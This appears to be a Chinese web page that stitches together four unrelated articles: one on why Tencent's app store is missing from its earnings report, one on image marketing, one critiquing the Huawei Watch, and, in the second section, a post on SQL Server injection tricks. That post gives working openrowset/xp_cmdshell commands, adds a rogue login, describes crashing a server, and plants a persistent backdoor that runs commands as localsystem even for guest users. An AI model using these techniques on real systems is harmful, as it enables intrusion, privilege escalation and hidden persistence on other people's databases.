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为啥有些人总是被忽略|应用宝为何会被选择性忽略?

NO.1 应用宝为何会被选择性忽略?

  A5创业项目春季招商 好项目招代理无忧

  在腾讯不久前公布的Q2季度财报中,整个移动游戏平台获得了喜人的增长,但是腾讯却并没有把微信、手Q、应用宝平台分开,这让我们无从判断腾讯三大应用分发平台各自带来的份额。但有一件吊诡的事情是,微信和手Q腾讯都给以了不少笔墨,而应用宝却被选择性的忽略了。

  对腾讯到底重不重要?

  腾讯高管在解读Q2季度财报中表示,未来两季度腾讯移动游戏收入不会出现大规模增长,潜台词就是在不对用户进行大规模骚扰的前提下,微信和手Q平台现在的游戏分发量已经到达顶点。事实也证明了我的观点,数据显示,腾讯系游戏在Q1季度依然保持较快增长,但进入Q2后,其整体安装量与活跃度已经开始出现下降,在4月到达顶点后,开始出现下滑趋势。

  微信和手Q游戏平台不可能无节制的进行游戏分发,一方面,虽然游戏能为腾讯带来可观的现金流,但未来这两大平台还有更重要的事情要去做,它们寄托了整个腾讯帝国的移动互联网梦,电商、智能硬件、O2O、金融等,我们不去批判一款社交软件上加诸这么多功能是否能获得成功,但腾讯只要想做就不可能只让游戏吸引用户的注意力。另一方面,腾讯社交平台用户虽然仍然在增长,但基本上已经进入一个很稳定的阶段,未来如果国际化之路没有很好走通,那么或许腾讯将丧失用户增长红利,甚至更可能因为新的社交平台崛起而出现下降。腾讯的DAU和MAU某种程度上将会保持一个很稳定的数值。每天使用腾讯社交平台的用户数是一定的,这些用户使用产品的时长是大体上一定的,每天用户产生的流量其实也是一定的。这意味着腾讯社交平台能够分发的游戏其实也是一定的。

  由于手Q和微信应用分发数量上存在瓶颈,腾讯不得不推出一个新的渠道,而这渠道可以无限的进行应用分发,只要流量足够,应用宝就是在这样的一个背景下应运而生。作为超级巨头,如果应用分发上没有占据有利入口,腾讯在未来将会极其被动,试想一下如果你没有自有渠道,每次推出新产品都要去求竞争对手,这将是一件多么可怕的事情。应用宝腾讯甚至可以完全不用盈利,因为这是关乎生死存亡的事情,得入口者得天下,虽然应用商店的价值在下降,但在很长一段时间里这仍然是移动互联网最重要的入口之一,更何况应用商店的游戏分发本身就是暴利。应用宝已经成为腾讯很重要的一个应用分发渠道,而渠道正是移动互联网最重要的入口之一,腾讯对于应用宝可谓也是不遗余力的进行推广。

  地位究竟尴尬在何处?

  腾讯第二季度财报中显示来自手游的营收大约为30亿元,而这是腾讯所有移动游戏平台的总收入,我们考虑到手Q的活跃用户比微信多,两个平台的且用户属性和社交关系有相当的重合度,有理由可以作出一个判断,手Q带来的收入比微信要多。那么令我们困惑的事情是,应用宝的市场份额已经不低,但为什么在财报中完全没有任何体现?

  就这件事情我咨询了腾讯公关团队相关人员,对方表示腾讯财报中移动游戏平台的30亿元收入并未包含应用宝。而这其中手Q和微信的收入大致相当。但在这我看来,这可能只是一种对外的公关口径。

  分析机构TalkingData日前对外公布的一份调查报告中显示,应用宝在过去一年里赢得了惊人的增长,目前已成为继百度、360之后的国内应用分发市场排名第三的巨头,市场份额达到24%。

  对比360过去几个季度的财报,我们或许可以看出,应用分发其实是一件很赚钱的事情,腾讯的应用宝和360手机助手大致相当,带来的收入自然应该不会相差过多。应用宝24%的市场份额收入怎么说至少也会有几亿,那么财报中为什么没有体现呢?腾讯作为一家上市公司,如此一大笔收入不可能有所隐瞒。如果说有体现,那是在哪里体现的呢?很明显就是含糊不清的移动游戏。

  这件事情一直令我非常困惑,直到我看到腾讯应用宝昨天发布的一份PR稿之后,才恍然大悟。稿件新闻标题用了“腾讯霸主地位无人撼动”的字样,腾讯现在游戏上的强势地位这点我从来都没有否认,文章表示游戏TOP 10腾讯独占了其中的前9名,乍眼一看确实非常厉害,别的游戏公司基本没有生存空间了。但我们仔细阅读这篇文章发现该稿件内容实际上是腾讯应用宝发布的《上半年APP数据报告》,对比其他安卓应用商店,腾讯游戏并没有出现完全占领排行榜的情况,至少《刀塔传奇》在各渠道都是排行榜第一位。

  其实这篇文章透露出一个很重要的信息点,那就是应用宝现在的分发量非常尴尬。我们知道应用宝作为腾讯移动游戏的首发平台,很多腾讯平台的最新游戏甚至只能在应用宝渠道下载,这为应用宝的增长带来了不可磨灭的贡献。但副作用也是极其的明显,应用宝现在的分发量完全只能通过微信和手Q带动。应用宝游戏TOP 10腾讯独占前9名就是最好的证据。

  为什么会被选择性忽略?

  解答这个问题我想会相当困难,因为我们完全不清楚腾讯的意图。但有一点却是大家都会公认的事实。腾讯在PC端拥有最强大的推广渠道,占整个PC游戏的市场份额已经超过了50%,但移动端腾讯的市场份额出现了绝对意义上的下降。且不说移动端有Google play和AppStore两大系统层面渠道,还有一系列实力极强的第三方渠道,360、豌豆荚、小米、UC、百度正是其中的佼佼者,这些渠道市场份额不比腾讯差。腾讯移动游戏收入高,其实是因为腾讯囊括了:发行、分发、渠道更各方面,整个产业链上的利润都占据的原因。再加上还有不少手机厂商开始推广自带的应用商店以及运营商渠道,腾讯移动游戏市场份额最多大概只能到25%。

  腾讯没有把三大渠道的具体占比拆分出来,但有一点很关键的是,微信对于现在的腾讯来说至关重要,在腾讯过去的半年里股价上涨了超过50%,而这至少有一大半是因为微信所带来的想象空间,腾讯有很大一部分股价现在完全靠微信在支撑。微信游戏保持高速增长,微信商业化进程喜人,这是腾讯股价得以不断上涨的关键因素,一旦出现停滞增长,腾讯股价或将出现断崖式下跌。

  应用宝的收入被忽略的逻辑其实这里就不难理解了,腾讯需要把这部分收入归结到微信游戏平台,而手Q因为活跃用户比微信多,并且对腾讯来说同样是战略性产品,所以无法被忽略。这里我最后做一个预测,下个季度财报中,腾讯一定会公布一个数据,微信游戏平台收入已经超过手Q,不信走着瞧。

  作者:千军游戏,原文链接

NO.2 认识那些被忽略的SQL Server注入技巧

文章主要讲术了一些SQL Server新的Bug,帮您认识这些被忽略的SQL Server注入技巧。

1.关于Openrowset和Opendatasource:

可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
 
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

以下为引用的内容:

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off

exec master.dbo.xp_cmdshel l ''dir c:''')

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:

以下为引用的内容:

select * from openrowset
('sqloledb','server';'sa';'','select '
'OK!'' exec master.dbo.sp_addlogin Hectic')

这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

2.关于Msdasql两次请求的问题:

不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是SQL Server的管理员才可以调用,那么如下:

以下为引用的内容:

select * from openrowset('msdasql','driver={sqlserver};
server=server;address=server,1433;
uid=sa;pwd=;database=master;
network=dbmssocn','
select * from table1 select * from table2')

当table1和table2的字段数目不相同时,你会发现对方的SQL Server崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死SQL Server进程后,如果不重启机器,SQL Server要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个Bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。

3.可怕的后门:

以前在网上看到有人说在SQL Server上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的SQL Server上用SQL Server的管理员账号执行如下的命令:

以下为引用的内容:

select * from openrowset('sqloledb','
trusted_connection=yes;
data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''')

这样在对方的SQL Server上建立了一个名为Hectic的本地连接映射,只要SQL Server不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是SQL Server没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的SQL Server上留下一个后门了。以上的方法在 SQL Server2000 SQL Server2000SP1上通过!

另外还有一个猜测,不知道大家有没有注意过Windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接SQL Server的,如果对方的SQL Server是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:

以下为引用的内容:

select * from openrowset

('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:''')

应该可以利用localserver的管理员账号连接本地SQL Server然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。

如果有人知道这个Bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何SQL语句都可以提交给对方的Asp去帮我们执行。

NO.3 总是被忽略的图片营销 其实有扭转乾坤的力量

  很多人认为的营销就是广告、软文、公众号等等,但似乎没人把目光盯在图片营销上。然而你却别小看了这一张图片,星星之火可以燎原,一张小图片,或许也会带来不一样的收获。

  近日,一则带鱼孩子刷爆网络的新闻引发关注。事情是这样的,老师让小朋友们带一条小鱼来学校观察,其他小朋友都带着小金鱼,而有一个小朋友则是带了一盆鲤鱼,如下图。

  照片中,围坐的小朋友带的都是金鱼,唯独一位小朋友用大大的盆带了一条鲤鱼。

  别人看完之后可能哈哈一笑,而身为营销人,你不需要思考一下,为什么这一张图片会迅速上了热搜呢?有人说,这本来有‘搞笑’成分,有点像段子一样,别人带条小鱼观察,一个学生用一面盆带一条大鱼观察,也就更容易被传播。

  由此可见,只要找对了受众点,一张图片能带来的,也有可能是超高的流量。

  这样的图片广告在社区论坛叫灌水,在群聊叫娱乐,而且网络世界中大部分网民都在使用QQ、UC这些聊天软件、还有网民结中的QQ群,不管是什么群,他们都会在聊天时发几张图片搞一下,这样可以增加群的活跃度,因此,我们就要用会被转载的图片做广告,这种方式、这些图片就是要说的主题——图片营销。

  如果你已经在营销内容中使用图片,那么你现在需要思考的是,如何让图片发挥更大作用。

  在Facebook、Instagram和Tumblr上,用户每秒分享的图片数量接近5,000张。加上Pinterest约4,000万用户以及SnapChat的飞速发展,情况很明显,转变已经发生--人们希望用图片而非文字分享最重要的内容。

  图片等可视内容具有较大共享性:相比纯文本的内容,图片内容更具有吸引力,可以提高用户的参与率。Facebook最近的案例就是很好的证明。Facebook仅仅在一个月前启动了所谓“timeline”的图片分享功能,短短的时间内其图片内容增加了65%。

  图片等可视内容在互联网中易于被搜索到:随着社会聚合优化(SAO)的崛起,图片等可视内容在社交媒体战略中变得越来越重要。因为图片等可视内容不仅仅本身具有吸引力,同时其还可以优化搜索,促进产品销售等等。

  如果你觉得图片排版、色彩等等很难,那么你有必要看一下这张图。

  配色,构图,排版,它哪一样能谈得上?可是这张图实实在在地火了一把,也带动了这个宝贝的销售。在这张图面前,我们还能大谈配色排版这些东西吗?

  其实更多的时候应该从自身找原因,多问问自己,消费者关注什么?怎么做才能把话说到消费者心里去?这些才是最重要的。

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NO.4 虚有其“表”,华为Watch是不是忽略了“智能”二字?

MWC给了华为展示Huawei Watch的机会,也引来很多眼球。

首先,我很欣赏华为的勇气,在苹果预告的3月9日发布Apple Watch,这个时间点前花这么大力气去发布一块最早6月份才有可能上市的智能手表,这不是所有的品牌都具备的勇气。

其次,华为是中国科技领域中我最欣赏的企业,没有之一。华为对创新的投入,稳重努力的作风,包括我认识的那群华为的朋友都让我喜欢甚至敬佩。

所以,我忍了几天,仍然觉得不吐不快,回到Huawei Watch本身,这块被某些媒体渲染的可以挑战瑞士名表的奢侈品,真的那样神奇吗?那么问题来了:Huawei Watch挑战的仅仅是手表。那是不是忽略了最关键的“智能”呢?

问题一:重点是表还是智能?

我看到华尔街日报报道说,华为表示,公司计划生产出真正像手表的智能手表而不是电子配件或玩具,从而使这款手表脱颖而出。并援引华为消费者BG总裁余承东,在可穿戴设备发布会上的现场视频短片:“因为手表就是手表,所以,智能手表首先要看起来像手表”。

我不想堆砌技术参数和术语,也不想单就昂贵的硬件叠加再多浪费文字,只用事实例子来说明。

事实上是这样吗?统治了手机时代的三剑客,诺基亚、摩托罗拉和三星。哪一个不像手机?诺基亚经典的直板机,摩托罗拉盛极一时的翻盖机,最终大厦终于倾倒于智能手机,问题在于手机还是在于智能?

毫无疑问,智能手表作为智能设备中的一分子,智能是先决条件,而手表只是一个承载智能的形式,手环甚至未来的智能戒指,未必不是挑战智能手表的品类。

换句话说:智能手表挑战的其实不是手表,而是智能手机。仅仅像块表,其实远远不够。

另一个命题更有趣:到底真的能够挑战手表?其实,当手机开始普及的时候,就已经有了这个分析,手机取代了手表的部分功能,而因此导致年轻的族群对手表的认知度降低,手表开始了严重的两极分化。低端手表,除运动手表以外销量骤减,而高端手表则成为成功人士的奢侈品。

说到这,下一个问题来了,Huawei Watch的定位是取代什么手表呢?

问题二:要奢侈品还是要智能?

3月5日,国外媒体BGR给出的消息称,华为智能手表售价要1000美元,折合人民币6300。不论这个定价是否是真实的,但从硬件组合上看,定价肯定不菲。显然,Huawei Watch如果要取代手表,那它的目标应该是奢侈品市场。

华为Watch的宣传当中,强调与其他智能手表最大的一个差异化来自于其高品质和精湛做工,华为Watch采用的是361L不锈钢也就是我们俗称的钛钢,这种材料在精工、卡西欧等手表上非常常见的,特点是质量轻、光泽度佳、耐腐蚀性强,此前为人熟知的Moto 360也是采用这种材质。另外,它还是首款采用蓝宝石玻璃的智能手。配备一块1.4英寸AMOLED屏幕,分辨率达到400 400,像素密度高达286ppi,也确实很惊人。

如此高规格的硬件组合和华丽的表盘,如果定价不够亮眼,确实难以体现这奢侈品手表的高规格。

问题又来了,年龄层偏高的奢侈品,或者说高端手表人群,对智能设备是不是感冒?从iphone的使用人群分析报告看,在中国市场随着年龄层的提高,对Iphone的需求是逐渐降低的。也就是说,智能设备对客户群的吸引力也在随着年龄层的提高而降低。

作为一款高端的智能手表,难道要在年龄层较低的,也就是收入情况较低的群体里找到“奢侈品”的感觉?暂时不太能够理解。

问题三:核心问题一个都没解决

其实呢,单纯从智能手表的角度来看待这个产品。你有没有考虑到用户最关心的需求?用户最关系的核心问题到底有没有得到解决?

我认为,智能手表最大的问题是续航。当初机械表之所以让电子表夺走了低端市场的一个重要原因就是需要每天“上劲儿”,之后才有了自动机械表。如果智能手表,还需要像手机一样每天充电,何谈取代手机,更不要说取代手表。

配备一块大尺寸的屏幕但续航时间较短,这几乎是目前智能手表的通病。Moto 360不过提供了仅仅一天的待机时间,华为Watch又能坚持多久呢?

但考虑到它采用高通骁龙400四核处理器,待机时间很难超过两天。解决不了待机问题,不止Huawei Watch,任何一款智能手表都难以走得很远,不知道3月9日,Apple Watch会不会带来惊喜?

其次还是充电,触点充电,在智能手表领域只能算个标配,3年前,我拿到第一块pebble的时候,就已经是触点充电,《企事录》分析师专张广彬跟我说,“智能手表如果不能解决无线充电,多余的功能都是白搭”我深表赞同。

试想,我们现在的包里,要带手机充电器和线,还有移动电源,也许还有您的笔记本电脑的电源线,和耳机线,已经不胜其烦,今后再加上手表的充电器和线,如此臃肿的线团已不能其烦,何必再谈智能和体验呢。

其实,最后还有智能手表的生态问题,这个问题更是一个大问题。

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